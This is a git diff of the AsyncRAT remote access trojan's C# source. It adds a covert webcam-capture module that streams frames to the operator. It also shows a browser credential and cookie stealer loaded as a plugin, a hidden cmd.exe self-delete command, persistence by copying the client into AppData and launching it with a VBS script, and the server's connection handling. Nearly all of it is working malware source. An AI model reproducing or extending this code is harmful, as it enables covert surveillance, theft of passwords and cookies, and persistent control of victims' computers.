Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Process.GetCurrentProcess().MainModule.FileName + "\"",
|
Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Process.GetCurrentProcess().MainModule.FileName + "\"",
|
||||||
WindowStyle = ProcessWindowStyle.Hidden,
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
CreateNoWindow = true,
|
CreateNoWindow = true,
|
||||||
|
UseShellExecute = false,
|
||||||
FileName = "cmd.exe"
|
FileName = "cmd.exe"
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
213
AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs
Normal file
213
AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs
Normal file
@ -0,0 +1,213 @@
|
|||||||
|
using AForge.Video;
|
||||||
|
using AForge.Video.DirectShow;
|
||||||
|
using Client.Connection;
|
||||||
|
using Client.Helper;
|
||||||
|
using Client.MessagePack;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Client.Handle_Packet
|
||||||
|
{
|
||||||
|
public static class HandleWebcam
|
||||||
|
{
|
||||||
|
public static bool IsOn = false;
|
||||||
|
public static VideoCaptureDevice FinalVideo;
|
||||||
|
public static string HWID = Methods.HWID();
|
||||||
|
private static MemoryStream Camstream = new MemoryStream();
|
||||||
|
private static TempSocket TempSocket = null;
|
||||||
|
private static int Quality = 50;
|
||||||
|
|
||||||
|
public static void Run(MsgPack unpack_msgpack)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||||
|
{
|
||||||
|
case "webcam":
|
||||||
|
{
|
||||||
|
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||||
|
{
|
||||||
|
case "getWebcams":
|
||||||
|
{
|
||||||
|
TempSocket?.Dispose();
|
||||||
|
TempSocket = new TempSocket();
|
||||||
|
if (TempSocket.IsConnected)
|
||||||
|
{
|
||||||
|
GetWebcams();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
new Thread(() =>
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
TempSocket.Dispose();
|
||||||
|
CaptureDispose();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}).Start();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case "capture":
|
||||||
|
{
|
||||||
|
if (IsOn == true) return;
|
||||||
|
if (TempSocket.IsConnected)
|
||||||
|
{
|
||||||
|
IsOn = true;
|
||||||
|
FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||||
|
FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString);
|
||||||
|
Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger;
|
||||||
|
FinalVideo.NewFrame += CaptureRun;
|
||||||
|
FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger];
|
||||||
|
FinalVideo.Start();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
new Thread(() =>
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
CaptureDispose();
|
||||||
|
TempSocket.Dispose();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}).Start();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case "stop":
|
||||||
|
{
|
||||||
|
new Thread(() =>
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
CaptureDispose();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}).Start();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Debug.WriteLine("Webcam switch" + ex.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void CaptureRun(object sender, NewFrameEventArgs e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (TempSocket.IsConnected)
|
||||||
|
{
|
||||||
|
if (IsOn == true)
|
||||||
|
{
|
||||||
|
Bitmap image = (Bitmap)e.Frame.Clone();
|
||||||
|
using (Camstream = new MemoryStream())
|
||||||
|
{
|
||||||
|
System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
|
||||||
|
EncoderParameters myEncoderParameters = new EncoderParameters(1);
|
||||||
|
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality);
|
||||||
|
myEncoderParameters.Param[0] = myEncoderParameter;
|
||||||
|
ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg);
|
||||||
|
image.Save(Camstream, jpgEncoder, myEncoderParameters);
|
||||||
|
myEncoderParameters?.Dispose();
|
||||||
|
myEncoderParameter?.Dispose();
|
||||||
|
image?.Dispose();
|
||||||
|
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||||
|
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||||
|
msgpack.ForcePathObject("Command").AsString = "capture";
|
||||||
|
msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray());
|
||||||
|
TempSocket.Send(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
new Thread(() =>
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
CaptureDispose();
|
||||||
|
TempSocket.Dispose();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}).Start();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
new Thread(() =>
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
CaptureDispose();
|
||||||
|
TempSocket.Dispose();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}).Start();
|
||||||
|
Debug.WriteLine("CaptureRun: " + ex.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void GetWebcams()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
StringBuilder deviceInfo = new StringBuilder();
|
||||||
|
FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||||
|
foreach (FilterInfo videoCaptureDevice in videoCaptureDevices)
|
||||||
|
{
|
||||||
|
deviceInfo.Append(videoCaptureDevice.Name + "-=>");
|
||||||
|
VideoCaptureDevice device = new VideoCaptureDevice(videoCaptureDevice.MonikerString);
|
||||||
|
Debug.WriteLine(videoCaptureDevice.Name);
|
||||||
|
}
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
if (deviceInfo.Length > 0)
|
||||||
|
{
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||||
|
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||||
|
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||||
|
msgpack.ForcePathObject("List").AsString = deviceInfo.ToString();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||||
|
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||||
|
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||||
|
msgpack.ForcePathObject("List").AsString = "None";
|
||||||
|
}
|
||||||
|
TempSocket.Send(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void CaptureDispose()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
IsOn = false;
|
||||||
|
FinalVideo.Stop();
|
||||||
|
FinalVideo.NewFrame -= CaptureRun;
|
||||||
|
Camstream?.Dispose();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -1,5 +1,5 @@
|
|||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
@ -16,8 +16,8 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
// DLL StealerLib => gitlab.com/thoxy/stealerlib
|
// DLL StealerLib => gitlab.com/thoxy/stealerlib
|
||||||
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
|
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
|
||||||
MethodInfo meth = loader.GetType("StealerLib.Browsers.CaptureBrowsers").GetMethod("RecoverCredential");
|
MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("RecoverCredential");
|
||||||
MethodInfo meth2 = loader.GetType("StealerLib.Browsers.CaptureBrowsers").GetMethod("RecoverCookies");
|
MethodInfo meth2 = loader.GetType("Plugin.Plugin").GetMethod("RecoverCookies");
|
||||||
object injObj = loader.CreateInstance(meth.Name);
|
object injObj = loader.CreateInstance(meth.Name);
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
||||||
|
@ -1,6 +1,7 @@
|
|||||||
using Client.Helper;
|
using Client.Algorithm;
|
||||||
|
using Client.Helper;
|
||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
@ -239,6 +240,13 @@ namespace Client.Handle_Packet
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case "webcam":
|
||||||
|
{
|
||||||
|
HandleWebcam.Run(unpack_msgpack);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
//case "netStat":
|
//case "netStat":
|
||||||
// {
|
// {
|
||||||
// HandleNetStat.RunNetStat();
|
// HandleNetStat.RunNetStat();
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
using Client.Handle_Packet;
|
using Client.Handle_Packet;
|
||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using Microsoft.VisualBasic.Devices;
|
using Microsoft.VisualBasic.Devices;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
@ -11,6 +11,7 @@ using System.Security.Cryptography;
|
|||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
|
||||||
namespace Client.Helper
|
namespace Client.Helper
|
||||||
{
|
{
|
||||||
@ -68,9 +69,9 @@ namespace Client.Helper
|
|||||||
if (Convert.ToBoolean(Settings.BDOS) && IsAdmin())
|
if (Convert.ToBoolean(Settings.BDOS) && IsAdmin())
|
||||||
ProcessCritical.Exit();
|
ProcessCritical.Exit();
|
||||||
CloseMutex();
|
CloseMutex();
|
||||||
ClientSocket.Client?.Shutdown(SocketShutdown.Both);
|
ClientSocket.TcpClient?.Shutdown(SocketShutdown.Both);
|
||||||
ClientSocket.SslClient?.Close();
|
ClientSocket.SslClient?.Close();
|
||||||
ClientSocket.Client?.Close();
|
ClientSocket.TcpClient?.Close();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
@ -106,5 +107,19 @@ namespace Client.Helper
|
|||||||
msgpack.ForcePathObject("Antivirus").AsString = Antivirus();
|
msgpack.ForcePathObject("Antivirus").AsString = Antivirus();
|
||||||
return msgpack.Encode2Bytes();
|
return msgpack.Encode2Bytes();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static ImageCodecInfo GetEncoder(ImageFormat format)
|
||||||
|
{
|
||||||
|
ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();
|
||||||
|
foreach (ImageCodecInfo codec in codecs)
|
||||||
|
{
|
||||||
|
if (codec.FormatID == format.Guid)
|
||||||
|
{
|
||||||
|
return codec;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -15,13 +15,14 @@ namespace Client.Install
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (Process.GetCurrentProcess().MainModule.FileName != Settings.ClientFullPath)
|
string installfullpath = Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile);
|
||||||
|
if (Process.GetCurrentProcess().MainModule.FileName != installfullpath)
|
||||||
{
|
{
|
||||||
foreach (Process P in Process.GetProcesses())
|
foreach (Process P in Process.GetProcesses())
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (P.MainModule.FileName == Settings.ClientFullPath)
|
if (P.MainModule.FileName == installfullpath)
|
||||||
P.Kill();
|
P.Kill();
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
@ -31,22 +32,22 @@ namespace Client.Install
|
|||||||
}
|
}
|
||||||
|
|
||||||
FileStream fs;
|
FileStream fs;
|
||||||
if (File.Exists(Settings.ClientFullPath))
|
if (File.Exists(installfullpath))
|
||||||
{
|
{
|
||||||
File.Delete(Settings.ClientFullPath);
|
File.Delete(installfullpath);
|
||||||
Thread.Sleep(1000);
|
Thread.Sleep(1000);
|
||||||
fs = new FileStream(Settings.ClientFullPath, FileMode.Create);
|
fs = new FileStream(installfullpath, FileMode.Create);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
fs = new FileStream(Settings.ClientFullPath, FileMode.CreateNew);
|
fs = new FileStream(installfullpath, FileMode.CreateNew);
|
||||||
byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
|
byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
|
||||||
fs.Write(clientExe, 0, clientExe.Length);
|
fs.Write(clientExe, 0, clientExe.Length);
|
||||||
fs.Dispose();
|
fs.Dispose();
|
||||||
|
|
||||||
|
|
||||||
string tempName = Path.GetTempFileName() + ".vbs";
|
string tempName = Path.GetTempFileName() + ".vbs";
|
||||||
string TempPath = Strings.StrReverse(Settings.ClientFullPath);
|
string TempPath = Strings.StrReverse(installfullpath);
|
||||||
string TempPathName = Strings.StrReverse(Path.GetFileName(Settings.ClientFullPath));
|
string TempPathName = Strings.StrReverse(Path.GetFileName(installfullpath));
|
||||||
using (StreamWriter sw = new StreamWriter(tempName, false))
|
using (StreamWriter sw = new StreamWriter(tempName, false))
|
||||||
{
|
{
|
||||||
if (!Methods.IsAdmin())
|
if (!Methods.IsAdmin())
|
||||||
@ -64,7 +65,7 @@ namespace Client.Install
|
|||||||
Process.Start(tempName);
|
Process.Start(tempName);
|
||||||
Thread.Sleep(1000);
|
Thread.Sleep(1000);
|
||||||
File.Delete(tempName);
|
File.Delete(tempName);
|
||||||
Process.Start(Settings.ClientFullPath);
|
Process.Start(installfullpath);
|
||||||
Methods.ClientExit();
|
Methods.ClientExit();
|
||||||
Environment.Exit(0);
|
Environment.Exit(0);
|
||||||
}
|
}
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using System.Threading;
|
using System.Threading;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using Client.Install;
|
using Client.Install;
|
||||||
using System;
|
using System;
|
||||||
using Client.Helper;
|
using Client.Helper;
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
using Client.Cryptography;
|
using Client.Algorithm;
|
||||||
using System;
|
using System;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Security.Cryptography;
|
using System.Security.Cryptography;
|
||||||
@ -10,11 +10,12 @@ namespace Client
|
|||||||
public static class Settings
|
public static class Settings
|
||||||
{
|
{
|
||||||
#if DEBUG
|
#if DEBUG
|
||||||
public static string Ports = "6606,";
|
public static string Ports = "6606";
|
||||||
public static string Hosts = "127.0.0.1,";
|
public static string Hosts = "127.0.0.1";
|
||||||
public static string Version = "0.5.1";
|
public static string Version = "0.5.2";
|
||||||
public static string Install = "false";
|
public static string Install = "false";
|
||||||
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
|
public static string InstallFolder = "AppData";
|
||||||
|
public static string InstallFile = "Test.exe";
|
||||||
public static string Key = "NYAN CAT";
|
public static string Key = "NYAN CAT";
|
||||||
public static string MTX = "%MTX%";
|
public static string MTX = "%MTX%";
|
||||||
public static string Certificate = "%Certificate%";
|
public static string Certificate = "%Certificate%";
|
||||||
@ -30,7 +31,8 @@ namespace Client
|
|||||||
public static string Hosts = "%Hosts%";
|
public static string Hosts = "%Hosts%";
|
||||||
public static string Version = "%Version%";
|
public static string Version = "%Version%";
|
||||||
public static string Install = "%Install%";
|
public static string Install = "%Install%";
|
||||||
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%");
|
public static string InstallFolder = "%Folder%";
|
||||||
|
public static string InstallFile = "%File%";
|
||||||
public static string Key = "%Key%";
|
public static string Key = "%Key%";
|
||||||
public static string MTX = "%MTX%";
|
public static string MTX = "%MTX%";
|
||||||
public static string Certificate = "%Certificate%";
|
public static string Certificate = "%Certificate%";
|
||||||
|
@ -7,7 +7,7 @@ using System.Security.Cryptography;
|
|||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
namespace Server.Cryptography
|
namespace Server.Algorithm
|
||||||
{
|
{
|
||||||
public class Aes256
|
public class Aes256
|
||||||
{
|
{
|
@ -1,7 +1,7 @@
|
|||||||
using System.Security.Cryptography;
|
using System.Security.Cryptography;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
|
|
||||||
namespace Server.Cryptography
|
namespace Server.Algorithm
|
||||||
{
|
{
|
||||||
public static class Sha256
|
public static class Sha256
|
||||||
{
|
{
|
@ -12,13 +12,15 @@ using System.Text;
|
|||||||
using System.Net.Security;
|
using System.Net.Security;
|
||||||
using System.Security.Authentication;
|
using System.Security.Authentication;
|
||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
|
using Server.Algorithm;
|
||||||
|
using Server.Helper;
|
||||||
|
|
||||||
namespace Server.Sockets
|
namespace Server.Connection
|
||||||
{
|
{
|
||||||
public class Clients
|
public class Clients
|
||||||
{
|
{
|
||||||
public Socket ClientSocket { get; set; }
|
public Socket TcpClient { get; set; }
|
||||||
public SslStream ClientSslStream { get; set; }
|
public SslStream SslClient { get; set; }
|
||||||
public ListViewItem LV { get; set; }
|
public ListViewItem LV { get; set; }
|
||||||
public ListViewItem LV2 { get; set; }
|
public ListViewItem LV2 { get; set; }
|
||||||
public string ID { get; set; }
|
public string ID { get; set; }
|
||||||
@ -29,27 +31,28 @@ namespace Server.Sockets
|
|||||||
public object SendSync { get; } = new object();
|
public object SendSync { get; } = new object();
|
||||||
public long BytesRecevied { get; set; }
|
public long BytesRecevied { get; set; }
|
||||||
|
|
||||||
|
|
||||||
public Clients(Socket socket)
|
public Clients(Socket socket)
|
||||||
{
|
{
|
||||||
ClientSocket = socket;
|
TcpClient = socket;
|
||||||
ClientSslStream = new SslStream(new NetworkStream(ClientSocket, true), false);
|
SslClient = new SslStream(new NetworkStream(TcpClient, true), false);
|
||||||
ClientSslStream.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null);
|
SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void EndAuthenticate(IAsyncResult ar)
|
private void EndAuthenticate(IAsyncResult ar)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
ClientSslStream.EndAuthenticateAsServer(ar);
|
SslClient.EndAuthenticateAsServer(ar);
|
||||||
ClientBuffer = new byte[4];
|
ClientBuffer = new byte[4];
|
||||||
ClientMS = new MemoryStream();
|
ClientMS = new MemoryStream();
|
||||||
ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
|
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
//Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
|
//Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
|
||||||
ClientSslStream?.Dispose();
|
SslClient?.Dispose();
|
||||||
ClientSocket?.Dispose();
|
TcpClient?.Dispose();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -57,14 +60,14 @@ namespace Server.Sockets
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!ClientSocket.Connected)
|
if (!TcpClient.Connected)
|
||||||
{
|
{
|
||||||
Disconnected();
|
Disconnected();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
int Recevied = ClientSslStream.EndRead(ar);
|
int Recevied = SslClient.EndRead(ar);
|
||||||
if (Recevied > 0)
|
if (Recevied > 0)
|
||||||
{
|
{
|
||||||
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
|
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
|
||||||
@ -96,7 +99,7 @@ namespace Server.Sockets
|
|||||||
ClientBufferRecevied = false;
|
ClientBufferRecevied = false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
|
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -141,10 +144,16 @@ namespace Server.Sockets
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
ClientSslStream?.Close();
|
TcpClient.Shutdown(SocketShutdown.Both);
|
||||||
ClientSocket?.Close();
|
}
|
||||||
ClientSslStream?.Dispose();
|
catch { }
|
||||||
ClientSocket?.Dispose();
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
SslClient?.Close();
|
||||||
|
TcpClient?.Close();
|
||||||
|
SslClient?.Dispose();
|
||||||
|
TcpClient?.Dispose();
|
||||||
ClientMS?.Dispose();
|
ClientMS?.Dispose();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -156,30 +165,41 @@ namespace Server.Sockets
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!ClientSocket.Connected)
|
if (!TcpClient.Connected)
|
||||||
{
|
{
|
||||||
Disconnected();
|
Disconnected();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if ((byte[])msg == null) return;
|
if ((byte[])msg == null) return;
|
||||||
|
|
||||||
byte[] buffer = (byte[])msg;
|
byte[] buffer = (byte[])msg;
|
||||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||||
|
|
||||||
ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
ClientSslStream.Write(buffersize, 0, buffersize.Length);
|
SslClient.Write(buffersize, 0, buffersize.Length);
|
||||||
ClientSslStream.Write(buffer, 0, buffer.Length);
|
SslClient.Flush();
|
||||||
ClientSslStream.Flush();
|
int chunkSize = 50 * 1024;
|
||||||
|
byte[] chunk = new byte[chunkSize];
|
||||||
|
using (MemoryStream buffereReader = new MemoryStream(buffer))
|
||||||
|
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
|
||||||
|
{
|
||||||
|
int bytesToRead = (int)buffereReader.Length;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
chunk = binaryReader.ReadBytes(chunkSize);
|
||||||
|
bytesToRead -= chunkSize;
|
||||||
|
SslClient.Write(chunk);
|
||||||
|
SslClient.Flush();
|
||||||
|
Settings.Sent += chunk.Length;
|
||||||
|
} while (bytesToRead > 0);
|
||||||
|
}
|
||||||
Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///");
|
Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///");
|
||||||
Settings.Sent += buffer.Length;
|
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
Disconnected();
|
Disconnected();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
@ -6,7 +6,7 @@ using System.Drawing;
|
|||||||
using Server.Handle_Packet;
|
using Server.Handle_Packet;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
|
|
||||||
namespace Server.Sockets
|
namespace Server.Connection
|
||||||
{
|
{
|
||||||
class Listener
|
class Listener
|
||||||
{
|
{
|
||||||
@ -23,7 +23,7 @@ namespace Server.Sockets
|
|||||||
ReceiveBufferSize = 50 * 1024,
|
ReceiveBufferSize = 50 * 1024,
|
||||||
};
|
};
|
||||||
Server.Bind(ipEndPoint);
|
Server.Bind(ipEndPoint);
|
||||||
Server.Listen(30);
|
Server.Listen(50);
|
||||||
new HandleLogs().Addmsg($"Listenning {port}", Color.Green);
|
new HandleLogs().Addmsg($"Listenning {port}", Color.Green);
|
||||||
Server.BeginAccept(EndAccept, null);
|
Server.BeginAccept(EndAccept, null);
|
||||||
}
|
}
|
||||||
@ -40,6 +40,7 @@ namespace Server.Sockets
|
|||||||
{
|
{
|
||||||
new Clients(Server.EndAccept(ar));
|
new Clients(Server.EndAccept(ar));
|
||||||
}
|
}
|
||||||
|
catch { }
|
||||||
finally
|
finally
|
||||||
{
|
{
|
||||||
Server.BeginAccept(EndAccept, null);
|
Server.BeginAccept(EndAccept, null);
|
67
AsyncRAT-C#/Server/Forms/Form1.Designer.cs
generated
67
AsyncRAT-C#/Server/Forms/Form1.Designer.cs
generated
@ -55,6 +55,7 @@
|
|||||||
this.reportWindowToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.reportWindowToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.runToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
this.runToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.stopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
|
this.stopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.webcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.miscellaneousToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.miscellaneousToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.botsKillerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.botsKillerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.uSBSpreadToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
this.uSBSpreadToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
@ -221,20 +222,20 @@
|
|||||||
this.toolStripSeparator1,
|
this.toolStripSeparator1,
|
||||||
this.bUILDERToolStripMenuItem});
|
this.bUILDERToolStripMenuItem});
|
||||||
this.contextMenuClient.Name = "contextMenuStrip1";
|
this.contextMenuClient.Name = "contextMenuStrip1";
|
||||||
this.contextMenuClient.Size = new System.Drawing.Size(245, 273);
|
this.contextMenuClient.Size = new System.Drawing.Size(199, 240);
|
||||||
//
|
//
|
||||||
// aBOUTToolStripMenuItem
|
// aBOUTToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info;
|
this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info;
|
||||||
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
|
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
|
||||||
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(244, 32);
|
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
|
||||||
this.aBOUTToolStripMenuItem.Text = "ABOUT";
|
this.aBOUTToolStripMenuItem.Text = "ABOUT";
|
||||||
this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click);
|
